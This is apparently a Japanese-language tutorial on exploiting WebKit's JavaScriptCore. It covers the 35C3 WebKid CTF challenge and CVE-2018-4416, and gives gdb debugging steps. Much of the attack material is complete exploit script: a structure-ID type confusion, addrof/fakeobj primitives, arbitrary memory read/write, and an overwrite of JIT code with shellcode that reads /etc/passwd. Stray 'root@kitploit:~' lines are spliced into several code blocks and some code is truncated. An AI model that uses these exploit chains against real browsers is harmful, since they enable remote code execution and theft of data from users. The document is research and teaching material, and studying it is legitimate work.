#+begin_src cpp static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) { // This assert will always be true as long as we're not passing an "invalid" offset ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));

root@kitploit:~
 // Try to get the previous structure of this object
 Structure* previous = structure->previousID();
 if (!previous)
     return false; // If it has none, stop here

 unsigned unused;
 // Check if the property we're deleting is the last one we added
 // This must be the case if the old structure doesn't have this property
 bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
 if (!isLastAddedProperty)
     return false; // Not the last property? Stop here and remove it using the normal way.

 // Assert that adding the property to the last structure would result in getting the current structure
 RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);

 // Uninteresting. Basically, this just deletes this objects Butterfly if it's not an array and we're asked to delete the last out-of-line property. The Butterfly then becomes useless because no property is stored in it, so we can delete it.
 if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
     ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
     thisObject->setButterfly(vm, nullptr);
 }

 // Directly set the structure of this object
 thisObject->setStructure(vm, previous);

 return true;

} #+end_src

つまり、オブジェクトは以前に追加されたプロパティを削除することで、以前の構造IDにフォールバックします。例えば:

#+begin_example var o = [1.1, 2.2, 3.3, 4.4]; // o is now an object with structure ID 122. o.property = 42; // o is now an object with structure ID 123. The structure is a leaf (has never transitioned)

function helper() { return o[0]; } jitCompile(helper); // Running helper function many times // In this case, the JIT compiler will choose to use a watchpoint instead of runtime checks // when compiling the helper function. As such, it watches structure 123 for transitions.

delete o.property; // o now "went back" to structure ID 122. The watchpoint was not fired. #+end_example

まず、いくつかの知識を復習しましょう。JSCでは、正しい型変換を保証するために、ランタイム型チェック と ウォッチポイント があります。関数が何度も実行された後、JSCは構造チェックを使用しなくなります。代わりに、それを ウォッチポイント に置き換えます。オブジェクトが変更されると、ブラウザはウォッチポイントをトリガーしてこの変更を通知し、JSインタプリタにフォールバックして新しいJITコードを生成する必要があります。

ここで、以前のIDに復元しても、構造が変更されたにもかかわらず、=watchpoint= はトリガーされません。つまり、バタフライポインタ の構造も変更されます。しかし、=helper= によって生成されたJITコードは、watchpoint がトリガーされないためフォールバックせず、型混乱が発生します。そしてJITコードは以前の バタフライ 構造にアクセスできます。偽のオブジェクトを漏洩/作成できます。

これが最小の攻撃プリミティブです:

#+begin_example haxxArray = [13.37, 73.31]; haxxArray.newProperty = 1337;

function returnElem() { return haxxArray[0]; }

function setElem(obj) { haxxArray[0] = obj; }

for (var i = 0; i < 100000; i++) { returnElem(); setElem(13.37); }

delete haxxArray.newProperty; haxxArray[0] = {};

function addrof(obj) { haxxArray[0] = obj; return returnElem(); }

function fakeobj(address) { setElem(address); return haxxArray[0]; } // JIT code treat it as intereger, but it actually should be an object. // We can leak address from it print(addrof({})); // Almost the same as above, but it's for write data print(fakeobj(addrof({}))); #+end_example

** ユーティリティ関数 :PROPERTIES: :CUSTOM_ID: utility-functions :END: エクスプロイトスクリプトは多くのユーティリティ関数を作成します。それらは、ほぼすべてのWebKitエクスプロイトで必要となるプリミティブを作成するのに役立ちます。いくつかの重要な関数だけを見ていきます。

*** ネイティブコードの取得 :PROPERTIES: :CUSTOM_ID: getting-native-code :END: 攻撃するには、シェルコードまたはROPを書き込むためのネイティブコード関数が必要です。また、関数は何度も実行された後でのみネイティブコードになります(これは =pwn.js= 内にあります):

#+begin_example function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } }

function makeJITCompiledFunction() { // Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

} #+end_example

*** バイトの制御 :PROPERTIES: :CUSTOM_ID: controlling-bytes :END: =Int64.js= では、=Int64= クラスを作成します。これは =Uint8Array= を使用して数値を格納し、=add= や =sub= などの関連操作を作成します。前の章で、JavaScriptは タグ付き値 を使用して数値を表現するため、上位バイトを制御できないことを述べました。=Uint8Array= 配列はネイティブ値と同様に8ビット符号なし整数を表すため、8バイトすべてを制御できます。

=Uint8Array= の簡単な使用例:

#+begin_example var x = new Uint8Array([17, -45.3]); var y = new Uint8Array(x); console.log(x[0]); // 17

console.log(x[1]); // value will be converted 8 bit unsigned integers // 211 #+end_example

16バイト配列にマージできます。次の例は、=Uint8Array= がネイティブ形式で格納されていることを明確に示しています。=0x0201= == =513= だからです:

#+begin_example a = new Uint8Array([1,2,3,4]) b = new Uint16Array(a.buffer) // Uint16Array [513, 1027] #+end_example

=Int64= の残りの関数は、さまざまな操作のシミュレーションです。名前とコメントから実装を推測できます。コードを読むのも簡単です。

** エクスプロイトの作成 :PROPERTIES: :CUSTOM_ID: writing-exploit :END: *** スクリプトの詳細 :PROPERTIES: :CUSTOM_ID: detail-about-the-script :END: Saeloの元のwriteupからいくつかのコメントを追加します(ほとんどのコメントは彼の作品です。大いに感謝します!):

#+begin_example const ITERATIONS = 100000;

// A helper function returns function with native code function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; });

// Return a function with native code, we will palce shellcode in this function later function makeJITCompiledFunction() {// Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

}

function setup_addrof() { var o = [1.1, 2.2, 3.3, 4.4]; o.addrof_property = 42;

root@kitploit:~
  // JIT compiler will install a watchpoint to discard the
  // compiled code if the structure of |o| ever transitions
  // (a heuristic for |o| being modified). As such, there
  // won't be runtime checks in the generated code.
  function helper() {
      return o[0];
  }
  jitCompile(helper);

  // This will take the newly added fast-path, changing the structure
  // of |o| without the JIT code being deoptimized (because the structure
  // of |o| didn't transition, |o| went "back" to an existing structure).
  delete o.addrof_property;

  // Now we are free to modify the structure of |o| any way we like,
  // the JIT compiler won't notice (it's watching a now unrelated structure).
  o[0] = {};

  return function(obj) {
      o[0] = obj;
      return Int64.fromDouble(helper());
  };

}

function setup_fakeobj() { var o = [1.1, 2.2, 3.3, 4.4]; o.fakeobj_property = 42;

root@kitploit:~
  // Same as above, but write instead of reading from the array.
  function helper(addr) {
      o[0] = addr;
  }
  jitCompile(helper, 13.37);

  delete o.fakeobj_property;
  o[0] = {};

  return function(addr) {
      helper(addr.asDouble());
      return o[0];
  };

}

function pwn() { var addrof = setup_addrof(); var fakeobj = setup_fakeobj();

root@kitploit:~
  // verify basic exploit primitives work.
  var addr = addrof({p: 0x1337});
  assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
  print('[+] exploit primitives working');


  // from saelo: spray structures to be able to predict their IDs.
  // var structs = []
  // var i = 0;
  // var abc = [13.37];
  // abc.pointer = 1234;
  // abc['prop' + i] = 13.37;
  // structs.push(abc);
  // var victim = structs[0];
  //
  // and the payload still work stablely. It seems this action is redundant
  var structs = []
  for (var i = 0; i < 0x1000; ++i) {
      var array = [13.37];
      array.pointer = 1234;
      array['prop' + i] = 13.37;
      structs.push(array);
  }

  // take an array from somewhere in the middle so it is preceeded by non-null bytes which
  // will later be treated as the butterfly length.
  var victim = structs[0x800];
  print(`[+] victim @ ${addrof(victim)}`);

  // craft a fake object to modify victim
  var flags_double_array = new Int64("0x0108200700001000").asJSValue();
  var container = {
      header: flags_double_array,
      butterfly: victim
  };

  // create object having |victim| as butterfly.
  var containerAddr = addrof(container);
  print(`[+] container @ ${containerAddr}`);
  // add the offset to let compiler recognize fake structure
  var hax = fakeobj(Add(containerAddr, 0x10));
  // origButterfly is now based on the offset of **victim** 
  // because it becomes the new butterfly pointer
  // and hax[1] === victim.pointer
  var origButterfly = hax[1];

  var memory = {
      addrof: addrof,
      fakeobj: fakeobj,

      // Write an int64 to the given address.
      writeInt64(addr, int64) {
          hax[1] = Add(addr, 0x10).asDouble();
          victim.pointer = int64.asJSValue();
      },

      // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
      write16(addr, value) {
          // Set butterfly of victim object and dereference.
          hax[1] = Add(addr, 0x10).asDouble();
          victim.pointer = value;
      },

      // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
      write(addr, data) {
          while (data.length % 4 != 0)
              data.push(0);

          var bytes = new Uint8Array(data);
          var ints = new Uint16Array(bytes.buffer);

          for (var i = 0; i < ints.length; i++)
              this.write16(Add(addr, 2 * i), ints[i]);
      },

      // Read a 64 bit value. Only works for bit patterns that don't represent NaN.
      read64(addr) {
          // Set butterfly of victim object and dereference.
          hax[1] = Add(addr, 0x10).asDouble();
          return this.addrof(victim.pointer);
      },

      // Verify that memory read and write primitives work.
      test() {
          var v = {};
          var obj = {p: v};

          var addr = this.addrof(obj);
          assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");

          var propertyAddr = Add(addr, 0x10);

          var value = this.read64(propertyAddr);
          assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");

          this.write16(propertyAddr, 0x1337);
          assert(obj.p == 0x1337, "write16 does not work");
      },
  };

  // Testing code, not related to exploit
  var plainObj = {};
  var header = memory.read64(addrof(plainObj));
  memory.writeInt64(memory.addrof(container), header);
  memory.test();
  print("[+] limited memory read/write working");

  // get targetd function
  var func = makeJITCompiledFunction();
  var funcAddr = memory.addrof(func);

  // change the JIT code to shellcode
  // offset addjustment is a little bit complicated here :P
  print(`[+] shellcode function object @ ${funcAddr}`);
  var executableAddr = memory.read64(Add(funcAddr, 24));
  print(`[+] executable instance @ ${executableAddr}`);
  var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
  print(`[+] JITCode instance @ ${jitCodeObjAddr}`);
  // var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));      // offset for debug builds
  // final JIT Code address
  var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
  print(`[+] JITCode @ ${jitCodeAddr}`);

  var s = "A".repeat(64);
  var strAddr = addrof(s);
  var strData = Add(memory.read64(Add(strAddr, 16)), 20);
  shellcode.push(...strData.bytes());

  // write shellcode
  memory.write(jitCodeAddr, shellcode);

  // trigger shellcode
  var res = func();

  var flag = s.split('\n')[0];
  if (typeof(alert) !== 'undefined')
      alert(flag);
  print(flag);

}

if (typeof(window) === 'undefined') pwn(); #+end_example

** エクスプロイトの結論 :PROPERTIES: :CUSTOM_ID: conclusion-on-the-exploitation :END: 結論として、このエクスプロイトは最も重要な攻撃プリミティブである =addrof= と =fakeobj= を使用して情報漏洩と偽装を行います。JITコンパイルされた関数が漏洩し、=shellcode= 配列で上書きされます。その後、関数を呼び出してフラグを漏洩させます。ほとんどのブラウザエクスプロイトはこの形式に従います。

35C3 CTFの主催者、特にSaeloに感謝します。WebKitの型混乱を学ぶための素晴らしいチャレンジでした。


  • WebKitのデバッグ :PROPERTIES: :CUSTOM_ID: debugging-webkit :END: さて、理論(アーキテクチャ、オブジェクトモデル、エクスプロイト)はすべて理解しました。実際の操作を始めましょう。準備として、セットアップ の部分でコンパイルした /JSC/ を使用してください。ここではデバッグについてのみ説明するので、最新バージョンで問題ありません。

以前はブレークポイントを設定してアドレスを探そうとしていましたが、これは実際には非常に愚かな方法です。/JSC/ には情報をダンプできる非標準関数が多数あります(/Safari/ ではほとんど使用できません!):

  • =print()= と =debug()=: /node.js/ の =console.log()= のように、ターミナルに情報を出力します。ただし、/Safari/ の =print= は実際のプリンターで文書を印刷します。
  • =describe()=: オブジェクトを説明します。関数を使ってアドレス、クラスメンバー、関連情報を取得できます。
  • =describeArray()=: =describe()= に似ていますが、オブジェクトの配列情報に焦点を当てます。
  • =readFile()=: ファイルを開いて内容を取得します。
  • =noDFG()= と =noFLT()=: 一部のJITコンパイラを無効にします。

** ブレークポイントの設定 :PROPERTIES: :CUSTOM_ID: setting-breakpoints :END: ブレークポイントを設定する最も簡単な方法は、未使用の関数で中断することです。たとえば、=print= や =Array.prototype.slice([]);= などです。関数がPoCに影響を与えるかどうかはほとんどの場合不明なため、この方法は副作用をもたらす可能性があります。脆弱な関数をブレークポイントとして設定することも機能します。脆弱性を理解しようとする場合、それらを中断することは非常に重要ですが、コールスタックが快適でない場合があります。

WebKitのソースコードにカスタムデバッグ関数(=int 3= を使用)を追加することもできます。関数を定義、実装、登録する場所は =/Source/JavaScriptCore/jsc.cpp= です。これにより、デバッガでWebKitを停止させることができます。

#+begin_src cpp static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage*); addFunction(vm, "dbg", functionDbg, 0); static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage* exec) { asm("int 3"); return JSValue::encode(jsUndefined()); } #+end_src

3番目の方法はソースコードの変更が必要なため、個人的には最初の2つを好みます。

** JSCオブジェクトの検査 :PROPERTIES: :CUSTOM_ID: inspecting-jsc-objects :END: では、次のスクリプトを使用します。

#+begin_example arr = [0, 1, 2, 3] debug(describe(arr))

print() #+end_example

gef 付きの gdb を使用してデバッグします。=print()= で中断することは推測できるでしょう。

#+begin_example gdb jsc gef> b *printInternal gef> r --> Object: 0x7fffaf4b4350 with butterfly 0x7ff8000e0010 (Structure 0x7fffaf4f2b50:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 100

... // Some backtrace #+end_example

#+begin_quote オブジェクトアドレスと butterfly ポインタはマシンによって異なる可能性があります。スクリプトを編集するとアドレスも変わる可能性があります。出力に基づいて調整してください。 #+end_quote

オブジェクトとそのポインタを最初に見てみましょう。

#+begin_example gef> x/2gx 0x7fffaf4b4350 0x7fffaf4b4350: 0x0108211500000064 0x00007ff8000e0010 gef> x/4gx 0x00007ff8000e0010 0x7ff8000e0010: 0xffff000000000000 0xffff000000000001 0x7ff8000e0020: 0xffff000000000002 0xffff000000000003 #+end_example

浮動小数点に変更するとどうなるでしょうか?

#+begin_example arr = [1.0, 1.0, 2261634.5098039214, 2261634.5098039214] debug(describe(arr))

print() #+end_example

ここで小さなトリックを使用します。=2261634.5098039214= はメモリ上で =0x4141414141414141= として表現されます。魔法の数値を使用することで値を見つけやすくなります(ここでは butterfly ポインタを直接使用しています)。デフォルトでは、JSC は未使用のメモリを =0x00000000badbeef0= で埋めます。

#+begin_example gef> x/10gx 0x00007ff8000e0010 0x7ff8000e0010: 0x3ff0000000000000 0x3ff0000000000000 0x7ff8000e0020: 0x4141414141414141 0x4141414141414141 0x7ff8000e0030: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0040: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0050: 0x00000000badbeef0 0x00000000badbeef0 #+end_example

メモリレイアウトは /JSC オブジェクトモデル/ の部分と同じなので、ここでは繰り返しません。

** ネイティブコードの取得 :PROPERTIES: :CUSTOM_ID: getting-native-code-1 :END: さて、コンパイルされた関数を取得する時です。これは JSC コンパイラの理解とエクスプロイトにおいて重要な役割を果たします。

#+begin_example const ITERATIONS = 100000;

function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; }); debug("jitCompile Ready")

function makeJITCompiledFunction() { function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

}

func = makeJITCompiledFunction() debug(describe(func))

print() #+end_example

前のセクションを注意深く読んでいれば難しくありません。デバッガでネイティブコードを取得しましょう。

#+begin_example --> Object: 0x7fffaf468120 with butterfly (nil) (Structure 0x7fffaf4f1b20:[Function, {}, NonArray, Proto:0x7fffaf4d0000, Leaf]), StructureID: 63 ... // Some backtrace ... gef> x/gx 0x7fffaf468120+24 0x7fffaf468138: 0x00007fffaf4fd080 gef> x/gx 0x00007fffaf4fd080+24 0x7fffaf4fd098: 0x00007fffefe46000 // In debug mode, it's okay to use 368 as offset // In release mode, however, it should be 352 gef> x/gx 0x00007fffefe46000+368 0x7fffefe46170: 0x00007fffafe02a00 gef> hexdump byte 0x00007fffafe02a00 0x00007fffafe02a00 55 48 89 e5 48 8d 65 d0 48 b8 60 0c 45 af ff 7f UH..H.e.H.`.E... 0x00007fffafe02a10 00 00 48 89 45 10 48 8d 45 b0 49 bb b8 2e c1 af ..H.E.H.E.I..... 0x00007fffafe02a20 ff 7f 00 00 49 39 03 0f 87 9c 00 00 00 48 8b 4d ....I9.......H.M 0x00007fffafe02a30 30 48 b8 00 00 00 00 00 00 ff ff 48 39 c1 0f 82 0H.........H9... #+end_example

ダンプしたバイトを rasm2 に入力します。

#+begin_example rasm -d "you dump byte here" push ebp dec eax mov ebp, esp dec eax lea esp, [ebp - 0x30] dec eax mov eax, 0xaf450c60 invalid jg 0x11 add byte [eax - 0x77], cl inc ebp adc byte [eax - 0x73], cl inc ebp mov al, 0x49 mov ebx, 0xafc12eb8 invalid jg 0x23 add byte [ecx + 0x39], cl add ecx, dword [edi] xchg dword [eax + eax - 0x74b80000], ebx dec ebp xor byte [eax - 0x48], cl add byte [eax], al add byte [eax], al add byte [eax], al invalid dec dword [eax + 0x39] ror dword [edi], 0x82 #+end_example

うーん...逆アセンブル結果は部分的に正しくありません。少なくとも概要は見えています。


  • 1日目のエクスプロイト :PROPERTIES: :CUSTOM_ID: day-exploitation :END: /トリガーバグ/ セクションのバグ CVE-2018-4416 を使用しましょう。これは型混乱です。以前に型混乱バグを持つ同様のCTFチャレンジ /WebKid/ について話しましたので、理解は難しくないでしょう。脆弱なブランチに切り替えて旅を始めましょう。PoCは記事の冒頭にあります。/WebKid/ リポジトリから =int64.js=、=shellcode.js=、=utils.js= を仮想マシンにコピー&ペーストしてください。

** 根本原因 :PROPERTIES: :CUSTOM_ID: root-cause :END: *** Lokihardt からの引用 :PROPERTIES: :CUSTOM_ID: quotation-from-lokihardt :END: 以下は、私の部分的な強調を含む /Lokihardt/ による CVE-2018-4416 の説明です。

=for-in= ループが実行されると、最初に =JSPropertyNameEnumerator オブジェクト= が作成され、=for-in= ループへの入力オブジェクトの情報を保存するために使用されます。ループ内では、すべての =get_by_id= 式の「this」オブジェクトの /構造ID/ が、ループ変数をインデックスとして受け取り、=JSPropertyNameEnumerator オブジェクト= のキャッシュされた =構造ID= と比較されます。同じ場合、=get_by_id= 式の「this」オブジェクトは、=for-in= ループの入力オブジェクトと同じ構造を持つと見なされます。

問題は、キャッシュされた /構造ID/ が解放されるのを防ぐ仕組みがないことです。/構造ID/ は、所有者が解放された後に再利用される可能性があるため、これにより /型混乱/ が発生する可能性があります。

*** 行ごとの説明 :PROPERTIES: :CUSTOM_ID: line-by-line-explanation :END: =/* */= のコメントは私の分析であり、不正確かもしれません。=//= の後のコメントは Lokihardt によるものです。

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }
  /* Step 3 */
  /* This is abother target */
  /* We want to confuse it(tmp) with obj(fake_object_memory) */
  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      /* Step 4 */
      /* Change the structure of tmp to {} */
      tmp.__proto__ = {};

      gc();
      /* The structure of obj is also {} now */
      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

      /* Step 5 */
      /* Compiler believes obj and tmp share the same type now */
      /* Thus, obj[k] will retrieve data from object with offset a */
      /* In the patched version, it should be undefined */
      return obj[k];  // Type confusion.
  }

}

/* Step 0 / / Prepare structure {} */ opt({});

/* Step 1 / / Target Array, 0x1234 is our fake address*/ let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

/* Step 2 / / Trigger type confusion*/ let fake_object = opt(fake_object_memory);

/* JSC crashed */ print(fake_object); #+end_example

*** デバッグ :PROPERTIES: :CUSTOM_ID: debugging :END: デバッグして考えを検証しましょう。デバッグしやすいように元のPoCを修正しています。ただし、=print()= が追加されているだけでほぼ同じです。

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      tmp.__proto__ = {};
      gc();
      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.
      debug("Confused Object: " + describe(obj));
      return obj[k];  // Type confusion.
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x41424344; let fake_object = opt(fake_object_memory); print() print(fake_object) #+end_example

次に、=gdb ./jsc=、=b *printInternal=、=r poc.js= を実行します。次の結果が得られます。

#+begin_example ...

--> Confused Object: Object: 0x7fffaf6b0080 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Object, {}, NonArray, Proto:0x7fffaf6b3e80, Leaf]), StructureID: 142 --> Confused Object: Object: 0x7fffaf6cbe40 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Uint32Array, {}, NonArray, Proto:0x7fffaf6b3e00, Leaf]), StructureID: 142

... #+end_example

偽アドレスをざっと見てみましょう。JSCは大きすぎて目的のブレークポイントを見つけるのは困難です。代わりにウォッチポイントを設定してフローを追跡しましょう。

#+begin_example gef> x/4gx 0x7fffaf6cbe40 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064 gef> x/4gx 0x00007fe8014fc000 0x7fe8014fc000: 0x0000000041424344 0x0000000000000000 0x7fe8014fc010: 0x0000000000000000 0x0000000000000000 gef> rwatch *0x7fe8014fc000 Hardware read watchpoint 2: *0x7fe8014fc000 #+end_example

後で期待通りの出力が得られます。

#+begin_example Thread 1 "jsc" hit Hardware read watchpoint 2: *0x7fe8014fc000

Value = 0x41424344 0x00005555555bebd4 in JSC::JSCell::structureID (this=0x7fe8014fc000) at ../../Source/JavaScriptCore/runtime/JSCell.h:133 133 StructureID structureID() const { return m_structureID; } #+end_example

しかし、なぜ =structure ID= で表示されるのでしょうか?メモリレイアウトから答えが得られます。

#+begin_example obj (fake_object_memory): 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064

tmp ({a: 1}): 0x7fffaf6cbdc0: 0x000016000000008b 0x0000000000000000 0x7fffaf6cbdd0: 0xffff000000000001 0x0000000000000000 #+end_exampleしたがって、=Uint32Array= のポインタはオブジェクトとして返されます。そして =m_structureID= は各JSオブジェクトの先頭にあります。=0x1234= が 配列の最初の要素であるため、=structureID() がそれを取得するのは妥当です。

=Uint32Array= 内のデータを使って、偽のオブジェクトを作成できます。素晴らしい!

** 攻撃プリミティブの構築 :PROPERTIES: :CUSTOM_ID: constructing-attack-primitive :END: *** addrof :PROPERTIES: :CUSTOM_ID: addrof :END: さて、正当なオブジェクトを作成する必要があります。私は ={}=(空のオブジェクト)をターゲットに選びます。

空のオブジェクトがメモリ上でどのように見えるか(ここではスクリプトやデバッグは無視):

#+begin_example 0x7fe8014fc000: 0x010016000000008a 0x0000000000000000 #+end_example

はい、=0x010016000000008a= で始まります。これを =Uint32Array= でシミュレートできます(=gc= と =opt= をここに貼り付けるのを忘れずに):

#+begin_example function gc() { ... // 上記と同じ }

function opt(obj) { ... // 上記と同じ }

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory); fake_object.a = {}

print(fake_object_memory[4]) print(fake_object_memory[5]) #+end_example

2つの謎の数値が返されます:

#+begin_src shell 2591768192 # 16進数: 0x9a7b3e80 32731 # 16進数: 0x7fdb #+end_src

明らかに、これはポインタ形式です。これで任意のオブジェクトを漏洩できます!

*** fakeobj :PROPERTIES: :CUSTOM_ID: fakeobj :END: =fakeobj= を取得するのは、=addrof= を作成するのとほぼ同じです。違いは、=UInt32Array= にアドレスを入力し、=fake_object= の属性 =a= を介してオブジェクトを取得する点です。

*** 任意読み書きとシェルコード実行 :PROPERTIES: :CUSTOM_ID: arbitrary-rw-and-shellcode-execution :END: これは =WebKid= チャレンジのエクスプロイトスクリプトと似ています。全文スクリプトは行ごとに説明するには長すぎます。ただし、[[/assets/CVE-2018-4416.js][こちら]] で見つけることができます。エクスプロイトを成功させるには、約10回試行する必要があるかもしれません。成功すると、=/etc/passwd= を読み取ります。以下がコアコードです:

#+begin_example // コンパイル済み関数を取得 var func = makeJITCompiledFunction();

function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

// ここで型混淆 function opt(obj) { for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};
  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {
      tmp.__proto__ = {};
      gc();
      obj.__proto__ = {};
      // コンパイラは obj と tmp が同じ型を共有していると誤解
      return obj[k];
  }

}

opt({});

// Uint32Array を使用して制御可能なメモリを作成 // 偽のオブジェクトヘッダを作成 let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory);

debug(describe(fake_object))

// JIT を使用して属性を安定化 // 属性 a は addrof/fakeobj で使用 // 属性 b は任意読み書きで使用 for (i = 0; i < 0x1000; i ++) { fake_object.a = {test : 1}; fake_object.b = {test : 1}; }

// addrof を取得 // fake_object にオブジェクトを渡す // fake_object は fake_object_memory 内にあり、整数として表現されるため // fake_object_memory を使用して整数値を取得できる function setup_addrof() { function p32(num) { value = num.toString(16) return "0".repeat(8 - value.length) + value } return function(obj) { fake_object.a = obj value = "" value = "0x" + p32(fake_object_memory[5]) + "" + p32(fake_object_memory[4]) return new Int64(value) } }

// 同じ // ただし、最初に整数値を渡し、その後オブジェクトを取得 function setup_fakeobj() { return function(addr) { //fake_object_memory[4] = addr[0] //fake_object_memory[5] = addr[1] value = addr.toString().replace("0x", "") fake_object_memory[4] = parseInt(value.slice(8, 16), 16) fake_object_memory[5] = parseInt(value.slice(0, 8), 16) return fake_object.a } }

addrof = setup_addrof() fakeobj = setup_fakeobj() debug("[+] addrof/fakeobj をセットアップ") var addr = addrof({p: 0x1337}); assert(fakeobj(addr).p == 0x1337, "addrof または fakeobj が動作しません"); debug('[+] エクスプロイトプリミティブが動作中');

// fake_object + 0x40 を使用して別の偽オブジェクトを作成し読み書き用に var container_addr = Add(addrof(fake_object), 0x40) fake_object_memory[16] = 0x00001000; fake_object_memory[17] = 0x01082007;

var structs = [] for (var i = 0; i < 0x1000; ++i) { var a = [13.37]; a.pointer = 1234; a['prop' + i] = 13.37; structs.push(a); }

// コンテナオブジェクトのバタフライポインタとして victim を使用 victim = structs[0x800] victim_addr = addrof(victim) victim_addr_hex = victim_addr.toString().replace("0x", "") fake_object_memory[19] = parseInt(victim_addr_hex.slice(0, 8), 16) fake_object_memory[18] = parseInt(victim_addr_hex.slice(8, 16), 16)

// コンテナを fake_object.b で上書き container_addr_hex = container_addr.toString().replace("0x", "") fake_object_memory[7] = parseInt(container_addr_hex.slice(0, 8), 16) fake_object_memory[6] = parseInt(container_addr_hex.slice(8, 16), 16) var hax = fake_object.b

var origButterfly = hax[1];

var memory = { addrof: addrof, fakeobj: fakeobj,

root@kitploit:~
  // 指定されたアドレスに int64 を書き込む
  // victim のバタフライを addr + 0x10 に変更
  // victim がポインタ属性を変更するとき、butterfly - 0x10 を読み取る
  // これは addr + 0x10 - 0x10 = addr に等しい
  // 任意の値を読み取るのもほぼ同じ
  writeInt64(addr, int64) {
      hax[1] = Add(addr, 0x10).asDouble();
      victim.pointer = int64.asJSValue();
  },

  // 指定されたアドレスに2バイト整数を書き込む。書き込まれた整数の後に6バイト余分に破損。
  write16(addr, value) {
      // victim オブジェクトのバタフライを設定し、参照を外す
      hax[1] = Add(addr, 0x10).asDouble();
      victim.pointer = value;
  },

  // 指定されたアドレスにバイト列を書き込む。終了後に6バイト余分に破損。
  write(addr, data) {
      while (data.length % 4 != 0)
          data.push(0);

      var bytes = new Uint8Array(data);
      var ints = new Uint16Array(bytes.buffer);

      for (var i = 0; i < ints.length; i++)
          this.write16(Add(addr, 2 * i), ints[i]);
  },

  // 64ビット値を読み取る。NaN を表さないビットパターンでのみ動作。
  read64(addr) {
      // victim オブジェクトのバタフライを設定し、参照を外す
      hax[1] = Add(addr, 0x10).asDouble();
      return this.addrof(victim.pointer);
  },

  // メモリ読み書きプリミティブが動作することを確認
  test() {
      var v = {};
      var obj = {p: v};

      var addr = this.addrof(obj);
      assert(this.fakeobj(addr).p == v, "addrof または fakeobj が動作しません");

      var propertyAddr = Add(addr, 0x10);

      var value = this.read64(propertyAddr);
      assert(value.asDouble() == addrof(v).asDouble(), "read64 が動作しません");

      this.write16(propertyAddr, 0x1337);
      assert(obj.p == 0x1337, "write16 が動作しません");
  },

};

memory.test(); debug("[+] 制限付きメモリ読み書きが動作中");

// JIT コードアドレスを取得 debug(describe(func)) var funcAddr = memory.addrof(func); debug([+] シェルコード関数オブジェクト @ ${funcAddr}); var executableAddr = memory.read64(Add(funcAddr, 24)); debug([+] 実行可能インスタンス @ ${executableAddr}); var jitCodeObjAddr = memory.read64(Add(executableAddr, 24)); debug([+] JITCode インスタンス @ ${jitCodeObjAddr}); var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368)); //var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352)); debug([+] JITCode @ ${jitCodeAddr});

